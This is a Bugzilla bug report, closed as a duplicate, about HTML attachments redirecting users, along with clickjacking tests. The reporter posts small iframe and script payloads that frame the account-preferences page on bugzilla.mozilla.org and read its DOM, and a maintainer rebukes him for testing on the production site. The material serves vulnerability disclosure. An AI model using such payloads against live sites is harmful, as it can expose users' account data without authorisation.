716265 - Bugzilla HTML attached allow redirect users.

Status: RESOLVED DUPLICATE of bug 554121

(Bugzilla :: Attachments & Requests, defect)

Description

[Mario Gomes]

Attachment: repro.html

User Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.75 Safari/535.7

Steps to reproduce:

Hello,

There is a vulnerability in Bugzilla that allows an attachment to redirect users to other sites when clicking "Details" if the attached "text / html" contain a script by manipulating the "top" of javascript allows you to redirect scripts.

Reproduce:
1. Click in details on file attached.
2. see you be redirected to Google.

Regards,
Mario

Comment 1

[Mario Gomes]

Attachment: only a test, ignore.

Comment 2

[Mario Gomes]

Comment on attachment 586723 [details]
only a test, ignore.

><iframe src="https://landfill.bugzilla.org/bugzilla-tip/userprefs.cgi?tab=account" height="1000" width="1000"></iframe>

Comment 3

[Mario Gomes]

Comment on attachment 586723 [details]
only a test, ignore.

<iframe src="https://bugzilla.mozilla.org/userprefs.cgi?tab=account" height="1000" width="1000"></iframe>

Comment 4

[Mario Gomes]

Attachment: test only.

Comment 5

[Mario Gomes]

Attachment: test

Comment 6

[Mario Gomes]

Comment on attachment 586725 [details]
test

><iframe id="iframe" src="https://bugzilla.mozilla.org/userprefs.cgi?tab=account" height="1000" width="1000" onload="c();"></iframe>
><script>
>function c(){
>e=document.getElementById("iframe").contentDocument.getElementById("bugzilla-body");
>alert(e);
>}
></script>

Comment 7

[Frédéric Buclin]

We already asked you to not use this Bugzilla installation for your testing! Please use landfill instead.

There is nothing new here which hasn't been discussed several times.

Comment 8

[Mario Gomes]

I'm sorry, i was study a clickjacking vulnerability in landfill, i was only checking if works too in bugzilla.

Comment 9

[Frédéric Buclin]

Bug 554121 is a more accurate bug to point to.